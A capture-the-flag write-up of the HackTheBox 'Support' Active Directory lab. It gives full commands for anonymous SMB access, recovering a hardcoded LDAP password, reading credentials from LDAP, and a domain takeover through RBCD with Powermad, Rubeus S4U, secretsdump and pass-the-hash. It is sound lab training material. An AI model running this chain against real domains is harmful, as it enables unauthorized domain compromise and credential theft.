All writeups

Support

Easy HackTheBox Completed
ADLDAPRBCDKerberosWindowsPrivesc.NETSMB

30 April 2026

HackTheBox — Support (Easy)

Support is an AD box. The chain is long but every link is small: an anonymous SMB share, a .NET binary with a hardcoded LDAP password, that password reading another password out of an AD info field, and finally a group ACL over the DC that turns into a full domain takeover via RBCD.

Recon

nmap -sC -sV -oN support.nmap 10.129.43.78

The bits that mattered: SMB (139/445), LDAP (389), WinRM (5985). WinRM is nice — once I have creds I get a shell straight away.

Foothold

SMB allowed a null session and there was a non-default share support-tools:

smbclient -L //10.129.43.78 -N
smbclient //10.129.43.78/support-tools -N
smb: \> get UserInfo.exe.zip

UserInfo.exe is a .NET binary, so it decompiles cleanly — people forget compiled .NET is basically source. In ILSpy the Protected class had an encrypted password with the key sitting right next to it:

byte[] key = Encoding.ASCII.GetBytes("armando");
// array[i] = (array[i] ^ key[i % key.Length]) ^ 0xDF

Reimplemented the same XOR in Python to recover the ldap user's password (kept as <LDAP_PASSWORD> here). One thing that genuinely cost me time: the password has a $ in it and I had pasted it between double quotes in bash — bash ate it as a variable and the LDAP bind kept failing with a half-empty password. Single quotes fixed it.

ldapsearch -x -H ldap://10.129.43.78 -D "ldap@support.htb" -w '<LDAP_PASSWORD>' -b "DC=support,DC=htb" "(sAMAccountName=support)"

The support account had its password sitting in the info attribute — readable by any authenticated LDAP user. With that, straight in over WinRM:

evil-winrm -i 10.129.43.78 -u support -p '<SUPPORT_PASSWORD>'

user.txt done.

Privesc

whoami /all as support showed two things that only matter together: membership of Shared Support Accounts, and SeMachineAccountPrivilege (I can add machine accounts to the domain). Loaded PowerView and checked the DC's ACL:

Get-DomainObjectAcl -Identity "DC$" -ResolveGUIDs | ? {$_.SecurityIdentifier -match "1103"}

ActiveDirectoryRights : GenericAll

So my group has GenericAll over the Domain Controller object. Combined with being allowed to create machine accounts, that is textbook RBCD: create a computer account with Powermad, then point the DC's msDS-AllowedToActOnBehalfOfOtherIdentity at its SID.

New-MachineAccount -MachineAccount FakeComputer -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)

grab FakeComputer SID, build the SD, then:

Get-DomainComputer DC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

Then S4U with Rubeus to impersonate Administrator (Rubeus wants the RC4/NTLM of the FakeComputer password, not the password itself):

.\Rubeus.exe s4u /user:FakeComputer$ /rc4:<FAKECOMPUTER_NTLM_HASH> /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /nowrap

What tripped me up here: the ticket Rubeus spits out doesn't work for SMB from inside the evil-winrm session. So I took the base64 ticket back to my own box:

base64 -d ticket.b64 > ticket.kirbi
impacket-ticketConverter ticket.kirbi admin.ccache
export KRB5CCNAME=admin.ccache
impacket-secretsdump -k -no-pass dc.support.htb

That dumps the Administrator NTLM hash, and from there it is just pass-the-hash:

evil-winrm -i 10.129.43.78 -u Administrator -H <ADMIN_NTLM_HASH>

root.txt.

What I took away

Two real time-sinks worth remembering: a $ in a password plus double quotes in bash silently hands you the wrong credential (single quotes), and a Rubeus ticket imported in a WinRM session won't do SMB — run impacket from your own machine. Also, if HTB resets the box the FakeComputer account is gone, just recreate it. The actual point of the box though is the ACL: GenericAll over a Domain Controller, handed to a support group, is the entire domain.

Want to try this CTF challenge yourself? Click here
🔒 Protect your IP while hacking — use a VPN NordVPN →
🚩 New to CTF? TryHackMe is perfect for beginners TryHackMe →